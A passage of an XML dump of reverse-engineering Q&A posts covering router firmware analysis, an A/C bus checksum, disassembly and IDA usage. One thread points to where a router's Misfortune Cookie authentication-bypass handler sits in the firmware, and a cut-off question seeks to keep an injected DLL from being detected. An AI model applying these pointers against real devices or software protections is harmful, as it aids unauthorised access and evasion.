noreferrer&quot;&gt;http://wan/lan&lt;/a&gt; ip/ or &lt;a href=&quot;http://wan/lan&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wan/lan&lt;/a&gt; ip/xxx.htm.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fixed other bugs and problems.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am not sure if the security mechanism (#1) is what is making this issue or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to compare 100901, 120830 and 140305 using binwalk entropy:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;binwalk -E -J 120830 140305 100901&lt;/h1&gt;&#xA;&#xA;&lt;h1&gt;100901:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FEcZb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FEcZb.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;120830:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XnGjQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XnGjQ.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;140305:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KRDUz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KRDUz.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know somethings wrong with &lt;strong&gt;140305&lt;/strong&gt; (unusual wave forms at left) but could not come across any findings.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update 1:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here is how memory address &lt;code&gt;0x800D53BC&lt;/code&gt; looks like in my IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WHYi9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WHYi9.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea or tip about how to fix this mess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hlmok.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hlmok.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15892" LastEditorUserId="53" LastEditDate="2018-02-25T09:34:48.697" LastActivityDate="2018-03-27T10:21:02.960" Title="Multiple vendors Misfortune Cookie Router Authentication Bypass Exploit" Tags="|ida|disassembly|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12591" PostTypeId="2" ParentId="12590" CreationDate="2016-05-04T07:51:28.150" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.tp-link.com/en/download/TD-W8961ND_V3.html#Firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;TP-LINK&lt;/a&gt; the misfortune cookie was fixed only in firmware version TD-W8961ND_V3_150707. So, the TD_W961ND_V3_140305 is also vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it is a binary file you may not analyse the code part dealing with the &lt;code&gt;soapaction&lt;/code&gt; string, but here is what I found for firmware 140305:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kEFxG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kEFxG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the &quot;Do not need&quot; string at &lt;code&gt;0x801a015a&lt;/code&gt;. For some reasons it is mips16 code and was referenced only from the command table as the &lt;code&gt;pswauthen&lt;/code&gt; command handler. So, you have to change the code representation to mips16 with &lt;code&gt;alt+g&lt;/code&gt; at the start of the handler and then press &lt;code&gt;c&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/swtf7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/swtf7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12325" LastEditorUserId="12325" LastEditDate="2016-05-05T08:37:46.203" LastActivityDate="2016-05-05T08:37:46.203" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12592" PostTypeId="1" AcceptedAnswerId="12593" CreationDate="2016-05-04T18:25:23.927" Score="4" ViewCount="1091" Body="&lt;p&gt;I am trying to reverse-engineer the protocol used between my Air-conditioner and the wired control unit on my wall.  (In order to have my home automation be able to monitor and control the A/C.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The electrical interface is simple open-collector bus with either end sending bytes using 100-baud UART timing (very slow, probably to tolerate electrical noise on this un-balanced bus).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have captured communication between the two ends, and found that they always send 13-byte packets, of which the last byte seems to be some sort of checksum.  I am confident that I can figure out where in the 12-byte payload to find the temperature setpoint, on/off bits, etc.  However, I cannot figure out how the checksum is calculated, and if I do not get that right, then I will not be able to inject commands to the A/C unit (other than re-playing known commands, which could work, but would not give me the satisfaction of complete reverse engineering.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below, I have copied the packets that I have captured so far.  It is clear that the checksum is not a CRC, since often one bit flip in the data results in only one or a few adjacent bits in the checksum being flipped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Studying how the checksum changes as the 8th byte is incremented reveals a clear pattern of differences: -1 +3 -1 -5 -1 +3 -1 -21 -1 +3 -1 -5 -1...&#xA;The above sequence is part of what is generated by the formula y = (x &amp;amp; 0xAA) - (x &amp;amp; 0x55), so I think that it would somehow form part of the checksum algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not been able to figure out how overall to mix together the input bytes, though, which is why I ask the expert reverse engineers in this forum.  Any observations are welcome, even if not a complete solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The air conditioner is Friedrich M09CJ, and the wall mounted &quot;thermostat&quot; DWC1 can interface with a number of other Friedrich air conditioners, so it is a reasonable guess that those would also use the same protocol.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The line numbers have been added later and do not belong to the data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   1        A8 00 00 00 00 00 09 17 00 00 00 00 9D&#xA;   2        A8 00 00 00 00 00 09 18 00 00 00 00 9C&#xA;   3        A8 00 00 00 00 00 09 19 00 00 00 00 9F&#xA;   4        A8 00 00 00 00 00 09 1A 00 00 00 00 9E&#xA;   5        A8 00 00 00 00 00 09 1B 00 00 00 00 99&#xA;   6        A8 00 00 00 00 00 09 1C 00 00 00 00 98&#xA;   7        A8 00 00 00 00 00 09 1D 00 00 00 00 9B&#xA;   8        A8 00 00 00 00 00 09 1E 00 00 00 00 9A&#xA;   9        A8 00 00 00 00 00 09 1F 00 00 00 00 85&#xA;  10        A8 00 00 00 00 00 09 20 00 00 00 00 84&#xA;  11        A8 00 00 00 00 00 09 20 00 00 40 00 44&#xA;  12        A8 00 00 00 00 00 09 21 00 00 00 00 87&#xA;  13        A8 00 00 00 00 00 09 22 00 00 00 00 86&#xA;  14        A8 00 00 00 00 00 09 23 00 00 00 00 81&#xA;  15        A8 00 00 00 00 00 09 23 00 00 40 00 41&#xA;  16        A8 00 00 00 00 00 09 24 00 00 00 00 80&#xA;  17        A8 01 00 00 00 00 09 23 40 00 80 00 C0&#xA;  18        A8 01 00 00 00 00 09 24 40 00 80 00 C3&#xA;  19        A8 02 00 00 00 00 09 1E 00 00 00 00 84&#xA;  20        A8 02 00 00 00 00 09 20 00 00 00 00 86&#xA;  21        A8 02 00 00 00 04 05 1E 00 00 00 00 84&#xA;  22        A8 02 00 00 00 04 07 1F 00 00 00 00 81&#xA;  23        A8 02 00 00 00 04 09 1F 00 00 00 00 83&#xA;  24        A8 02 00 00 00 04 09 20 00 00 00 00 82&#xA;  25        A8 02 00 00 00 04 0A 20 00 00 00 00 8D&#xA;  26        A8 02 00 00 00 04 0E 1F 00 00 00 00 8E&#xA;  27        A8 02 00 00 00 04 0E 20 00 00 00 00 89&#xA;  28        A8 03 00 00 00 00 09 20 00 00 00 00 81&#xA;  29        A8 03 00 00 00 00 0A 20 00 00 00 00 80&#xA;  30        A8 03 00 00 00 00 0B 20 00 00 00 00 83&#xA;  31        A8 41 00 00 00 00 01 00 40 00 80 00 FF&#xA;  32        A8 41 00 00 00 00 01 1F 40 00 80 00 9C&#xA;  33        A8 42 00 00 00 00 09 1F 00 00 00 00 47&#xA;  34        A8 60 40 00 00 00 09 1F 00 00 00 00 25&#xA;  35        A8 60 40 00 00 00 09 20 00 00 00 00 24&#xA;  36        A8 60 40 00 00 00 09 21 00 00 00 00 27&#xA;  37        A8 60 40 00 00 00 09 22 00 00 00 00 26&#xA;  38        A8 60 40 00 00 00 09 23 00 00 00 00 21&#xA;  39        A8 62 00 00 00 00 09 1F 00 00 00 00 67&#xA;  40        A8 62 00 00 00 00 09 20 00 00 00 00 66&#xA;  41        A8 62 40 00 00 00 09 20 00 00 00 00 26&#xA;  42        A8 62 40 00 00 00 09 21 00 00 00 00 21&#xA;  43        A8 62 40 00 00 04 09 1D 00 00 00 00 21&#xA;  44        A8 62 40 00 00 04 09 1E 00 00 00 00 20&#xA;  45        A8 62 40 00 00 04 09 1F 00 00 00 00 23&#xA;  46        A8 62 40 00 00 04 09 20 00 00 00 00 22&#xA;  47        A8 62 40 00 00 04 09 21 00 00 00 00 2D&#xA;  48        C8 00 00 00 00 00 09 17 00 00 00 00 BD&#xA;  49        C8 00 00 00 00 00 09 18 00 00 00 00 BC&#xA;  50        C8 00 00 00 00 00 09 19 00 00 00 00 BF&#xA;  51        C8 00 00 00 00 00 09 1A 00 00 00 00 BE&#xA;  52        C8 00 00 00 00 00 09 1B 00 00 00 00 B9&#xA;  53        C8 00 00 00 00 00 09 1D 00 00 00 00 BB&#xA;  54        C8 00 00 00 00 00 09 1E 00 00 00 00 BA&#xA;  55        C8 00 00 00 00 00 09 1F 00 00 00 00 A5&#xA;  56        C8 00 00 00 00 00 09 20 00 00 00 00 A4&#xA;  57        C8 00 00 00 00 00 09 21 00 00 00 00 A7&#xA;  58        C8 00 00 00 00 00 09 21 00 00 40 00 67&#xA;  59        C8 00 00 00 00 00 09 22 00 00 00 00 A6&#xA;  60        C8 00 00 00 00 00 09 22 00 00 40 00 66&#xA;  61        C8 02 00 00 00 00 09 21 00 00 00 00 A1&#xA;  62        C8 02 00 00 00 04 09 20 00 00 00 00 A2&#xA;  63        C8 03 00 00 00 00 09 20 00 00 00 00 A1&#xA;  64        C8 03 00 00 00 00 09 21 00 00 00 00 A0&#xA;  65        C8 03 00 00 00 00 09 22 00 00 00 00 A3&#xA;  66        C8 03 00 00 00 00 0A 20 00 00 00 00 A0&#xA;  67        C8 03 00 00 00 00 0A 21 00 00 00 00 A3&#xA;  68        C8 03 00 00 00 00 0A 22 00 00 00 00 A2&#xA;  69        C8 03 00 00 00 00 0C 20 00 00 00 00 A2&#xA;  70        C8 03 00 00 00 00 0C 21 00 00 00 00 AD&#xA;  71        C8 03 00 00 00 00 0D 21 00 00 00 00 AC&#xA;  72        C8 03 00 00 00 00 0E 21 00 00 00 00 AF&#xA;  73        C8 03 00 00 00 00 0F 20 00 00 00 00 AF&#xA;  74        C8 03 00 00 00 00 0F 21 00 00 00 00 AE&#xA;  75        C8 03 00 00 00 04 03 20 00 00 00 00 A7&#xA;  76        C8 03 00 00 00 04 04 20 00 00 00 00 A6&#xA;  77        C8 03 00 00 00 04 05 20 00 00 00 00 A1&#xA;  78        C8 03 00 00 00 04 06 20 00 00 00 00 A0&#xA;  79        C8 03 00 00 00 04 07 20 00 00 00 00 A3&#xA;  80        C8 03 00 00 00 04 08 20 00 00 00 00 A2&#xA;  81        C8 03 00 00 00 04 09 20 00 00 00 00 AD&#xA;  82        C8 03 00 00 00 04 09 21 00 00 00 00 AC&#xA;  83        C8 03 00 00 00 04 0A 20 00 00 00 00 AC&#xA;  84        C8 03 00 00 00 04 0A 22 00 00 00 00 AE&#xA;  85        C8 03 00 00 00 04 0B 20 00 00 00 00 AF&#xA;  86        C8 03 00 00 00 04 0B 22 00 00 00 00 A9&#xA;  87        C8 03 00 00 00 04 0C 20 00 00 00 00 AE&#xA;  88        C8 03 00 00 00 04 0C 22 00 00 00 00 A8&#xA;  89        C8 03 00 00 00 04 0D 20 00 00 00 00 A9&#xA;  90        C8 03 00 00 00 04 0D 22 00 00 00 00 AB&#xA;  91        C8 03 00 00 00 04 0E 20 00 00 00 00 A8&#xA;  92        C8 03 00 00 00 04 0E 22 00 00 00 00 AA&#xA;  93        C8 03 00 00 00 04 0F 20 00 00 00 00 AB&#xA;  94        C8 03 00 00 00 04 0F 21 00 00 00 00 AA&#xA;  95        C8 03 00 00 00 04 0F 22 00 00 00 00 55&#xA;  96        C8 03 80 00 00 00 09 20 00 00 00 00 21&#xA;  97        C8 23 00 00 00 00 09 1F 00 00 00 00 46&#xA;  98        C8 23 00 00 00 00 09 20 00 00 00 00 41&#xA;  99        C8 43 00 00 00 00 09 1F 00 00 00 00 66&#xA; 100        C8 43 00 00 00 00 09 20 00 00 00 00 61&#xA; 101        C8 60 40 00 00 00 09 1B 00 00 00 00 D9&#xA; 102        C8 60 40 00 00 00 09 1C 00 00 00 00 D8&#xA; 103        C8 60 40 00 00 00 09 1D 00 00 00 00 DB&#xA; 104        C8 60 40 00 00 00 09 1E 00 00 00 00 DA&#xA; 105        C8 62 40 00 00 04 09 1E 00 00 00 00 C0&#xA; 106        C8 62 40 00 00 04 09 1F 00 00 00 00 C3&#xA; 107        C8 63 00 00 00 00 09 1F 00 00 00 00 06&#xA; 108        C8 63 00 00 00 00 09 20 00 00 00 00 01&#xA; 109        C8 63 40 00 00 00 09 1F 00 00 00 00 C6&#xA; 110        C8 63 40 00 00 04 09 1F 00 00 00 00 C2&#xA; 111        C9 C4 D0 1F 80 31 00 40 02 00 00 00 3A&#xA; 112        CA 00 00 00 00 00 00 00 00 02 F1 21 8B&#xA; 113        CB 00 00 FF FF 70 00 00 00 00 00 00 6C&#xA; 114        CB 00 00 FF FF 7C 00 00 00 00 00 00 10&#xA; 115        CB 00 00 FF FF 7D 00 00 00 00 00 00 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15991" LastEditorUserId="15991" LastEditDate="2016-05-05T00:28:22.767" LastActivityDate="2016-05-05T00:28:22.767" Title="Reverse engineer checksum algorithm" Tags="|encodings|protocol|crc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12593" PostTypeId="2" ParentId="12592" CreationDate="2016-05-04T19:30:29.157" Score="3" Body="&lt;p&gt;You seem to have the same air conditioner like the guy who asked &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8429/reverse-engineering-a-8-bit-crc-checksum&quot;&gt;this question&lt;/a&gt;. Add up bytes 0-11, &lt;code&gt;xor&lt;/code&gt; with &lt;code&gt;0x55&lt;/code&gt; to get byte 12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could help if you stated the brand and model number of your AC unit, that makes it easier for other people who want to do the same thing.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-05-04T19:30:29.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12594" PostTypeId="2" ParentId="8044" CreationDate="2016-05-04T19:51:49.887" Score="0" Body="&lt;p&gt;I use APK Editor Pro to edit APKs right from my Android device!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.gmail.heagoo.apkeditor.pro&quot; rel=&quot;nofollow&quot;&gt;https://play.google.com/store/apps/details?id=com.gmail.heagoo.apkeditor.pro&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15995" LastActivityDate="2016-05-04T19:51:49.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12596" PostTypeId="1" AcceptedAnswerId="12598" CreationDate="2016-05-04T22:54:56.843" Score="0" ViewCount="470" Body="&lt;p&gt;I have this little-endian thumb hex code: 44 79 (79 44) and I want to convert it into an instruction. How do I go about doing so? Compiling a program then decompiling it to get the instruction, is that possible?&lt;/p&gt;&#xA;" OwnerUserId="15833" LastActivityDate="2016-05-04T23:38:32.177" Title="How to convert this hex into an instruction?" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12597" PostTypeId="2" ParentId="12596" CreationDate="2016-05-04T23:12:40.237" Score="1" Body="&lt;p&gt;I'd probably use &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow&quot;&gt;capstone&lt;/a&gt;. An example is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;from capstone import *&#xA;&#xA;CODE = b&quot;\x44\x79&quot;&#xA;&#xA;md = Cs(CS_ARCH_ARM, CS_MODE_THUMB|CS_MODE_LITTLE_ENDIAN)&#xA;for (address, size, mnemonic, op_str) in md.disasm_lite(CODE, 0x1000):&#xA;    print(&quot;0x%x:\t%s\t%s&quot; %(address, mnemonic, op_str))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0x1000: ldrb    r4, [r0, #5]&lt;/p&gt;&#xA;" OwnerUserId="1481" LastActivityDate="2016-05-04T23:12:40.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12598" PostTypeId="2" ParentId="12596" CreationDate="2016-05-04T23:38:32.177" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;https://www.onlinedisassembler.com/odaweb/&quot; rel=&quot;nofollow&quot;&gt;Online Disassembler&lt;/a&gt; works well for small sequences of instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.onlinedisassembler.com/odaweb/ZqHUIva4/0&quot; rel=&quot;nofollow&quot;&gt;44 79&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:00000000  7944    ldrb    r4, [r0, #5]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.onlinedisassembler.com/odaweb/KzC5t7QF/0&quot; rel=&quot;nofollow&quot;&gt;79 44&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:00000000  4479    add     r1, pc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2016-05-04T23:38:32.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12599" PostTypeId="1" AcceptedAnswerId="12600" CreationDate="2016-05-05T01:44:07.233" Score="0" ViewCount="1097" Body="&lt;p&gt;I have a function which fetches the Glide screen width and height and passes it to some set-up function (&lt;code&gt;sub_457048&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, IDA does not recognize that the Glide API function to retrieve the width obviously returns it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yUUVC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yUUVC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gets interesting when looking into the assembly code:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iwrZh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iwrZh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to tell IDA the &lt;code&gt;grSstScreenWidth&lt;/code&gt; returns a value into EBX which is then put in EDX: The set-up function looks correct - I never understood that useless mov of EAX into EBX after the height function was called; height stays in EAX, and width is put into EDX:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/URjMB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/URjMB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I wrong here? Is IDA wrong? Or is nobody wrong?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2019-02-09T14:51:09.387" Title="What to do when IDA does not recognize return value?" Tags="|ida|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12600" PostTypeId="2" ParentId="12599" CreationDate="2016-05-05T02:02:17.737" Score="2" Body="&lt;p&gt;You'll need to change the prototype of &lt;code&gt;_grSstScreenWidth()&lt;/code&gt; to be a &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1361.shtml&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;__usercall&lt;/code&gt;&lt;/a&gt; function with the return value in &lt;code&gt;ebx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __usercall _grSstScreenWidth@&amp;lt;ebx&amp;gt;()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-05-05T02:02:17.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12602" PostTypeId="1" CreationDate="2016-05-06T07:25:50.427" Score="1" ViewCount="3307" Body="&lt;p&gt;I want to read the data value at a given address in IDA Pro. I found it can be achieved by DWord(address) function. However in case the value is RVA of a function (as below), Dword() gives RVA 7E094D (where image_base is 300000), as expected.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:00CC0024                 dd rva sub_AE094D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any simple way how IDA Pro/Python scripting can tell me that a data value is RVA so that I can add the image_base to it to get the absolute address?&lt;/p&gt;&#xA;" OwnerUserId="15268" LastActivityDate="2016-07-06T17:32:54.333" Title="Identify RVA data in IDA Pro" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12603" PostTypeId="2" ParentId="5901" CreationDate="2016-05-06T11:29:41.040" Score="-1" Body="&lt;p&gt;You shoudl use an SPI flash parallel port programmer. It is a simple and very accurate programmer using a single 74ls244 ic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get it at: &lt;a href=&quot;http://www.spiflash.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.spiflash.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16010" LastEditorUserId="53" LastEditDate="2016-05-08T09:31:58.103" LastActivityDate="2016-05-08T09:31:58.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12606" PostTypeId="2" ParentId="12602" CreationDate="2016-05-07T16:17:59.923" Score="1" Body="&lt;p&gt;The code below is prone to &quot;false positives&quot;, but it's better than nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def is_rva(ea):&#xA;    original_ea = ScreenEA()&#xA;    Jump(ea)&#xA;    found = &quot; rva &quot; in GetCurrentLine()&#xA;    Jump(original_ea)&#xA;    return found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully someone can provide a better answer than this (code that actually checks IDA's internal representation instead of doing a string comparison), but if not, perhaps this will suit your needs.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-05-07T16:17:59.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12608" PostTypeId="1" AcceptedAnswerId="15408" CreationDate="2016-05-08T17:06:21.630" Score="2" ViewCount="831" Body="&lt;p&gt;I'm trying to call a function with a function pointer in C++, but I can't find any convention that fits it. Its stack arguments are (right to left):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;func(float x, float y, int unk);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but ecx needs to be pointing to a buffer it can use for output / storage. That would be __thiscall, but the caller cleans up the stack (adds 12 to esp). This is what I have right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;((void(__thiscall*)(char*,float,float,int))(0x1234567))(a, b, c);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it causes the application to crash because the stack isn't evened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I call this?&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2017-05-23T20:54:16.623" Title="How can I call a function that acts like __thiscall, except the caller cleans the stack?" Tags="|x86|c++|calling-conventions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12609" PostTypeId="1" AcceptedAnswerId="12613" CreationDate="2016-05-08T20:17:50.847" Score="0" ViewCount="298" Body="&lt;p&gt;meanwhile, I am learning more and more how to reverse engineer. Ive figured out tons of stuff already, but I came to the point, where I just need some little explanation whats going on in the constructor of a specific class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, that this specific class (Class A) inherits 3 other Classes (lets say: class B, class C, class D).&#xA;Class A calls the constructors of B,C,D. Everything up to here is clear for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Class D has a method &quot;addListener&quot; which points to an attribute (this + 0x34).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this + 0x34) is assigned in the constructor to a address..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int A::A(void *someObject) {&#xA;    B::B();&#xA;    C::C();&#xA;&#xA;    *this = 0x1f18e8;&#xA;    *(this + 0x28) = 0x1f190c;         // whats going here?&#xA;    *(this + 0x34) = 0x1f193c;         // and here?&#xA;&#xA;    // Ive seen, that those addressees are inside of the vtable of Class A&#xA;    // &#xA;    //     __ZTV12A:        // vtable for A&#xA;    // ...&#xA;    // 001f18e8         db  0xc6&#xA;    // 001f193c         db  0xb0&#xA;    // 001f190c         db  0xba&#xA;    // ...&#xA;&#xA;    D::D();&#xA;&#xA;    // Some other attributes, but these are clear for me (just &#xA;    // have to name them right, by figuring out where these attributes are used):&#xA;&#xA;    *(this + 0x38) = someObject;&#xA;    *(this + 0x3c) = 0x0;&#xA;    *(this + 0x50) = 0x0;&#xA;    *(this + 0x54) = 0x0;&#xA;    *(this + 0x40) = 0xffffffff;&#xA;    *(this + 0x44) = 0xffffffff;&#xA;    *(this + 0x48) = 0xffffffff;&#xA;    *(this + 0x4c) = 0x0;&#xA;&#xA;    D::addListener(this + 0x34);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I right with my conclusion, that D::addListener() adds the class it self to the listener?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact I just want to figure out what kind of object is added to the &quot;listener&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    D::addListener(this + 0x34);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope my question is clear enough :)&lt;/p&gt;&#xA;" OwnerUserId="15890" LastEditorUserId="15890" LastEditDate="2016-05-09T05:51:36.700" LastActivityDate="2016-05-09T05:53:38.890" Title="Whats going on in this Class Constructor?" Tags="|disassembly|x86|c++|address|pointer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12610" PostTypeId="1" CreationDate="2016-05-08T22:59:54.767" Score="2" ViewCount="175" Body="&lt;p&gt;I'm writing a DLL for a program that needs to run in an infinite loop (with delays, of course). For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while (true) {&#xA;    std::cout &amp;lt;&amp;lt; &quot;I am running.\n&quot;;&#xA;    Sleep(1000);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how but no matter how I do this, the target program closes itself after a couple minutes. I know that it is not the DLL's presence because if I don't have an infinite loop and it &quot;completes&quot; (but stays in memory) it doesn't detect anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Cheat Engine to inject the DLL. It is detected both when I inject it normally and when I have the loop in a separate function and create a thread for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there aren't a few easy and easy to patch ways to detect things like this, what are alternatives? I'm writing it as a DLL because I need to call functions within the process (CreateRemoteThread-ing the bases wouldn't be easy because most of them have many more than one argument).&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2016-05-12T16:52:04.590" Title="Avoid program detecting a 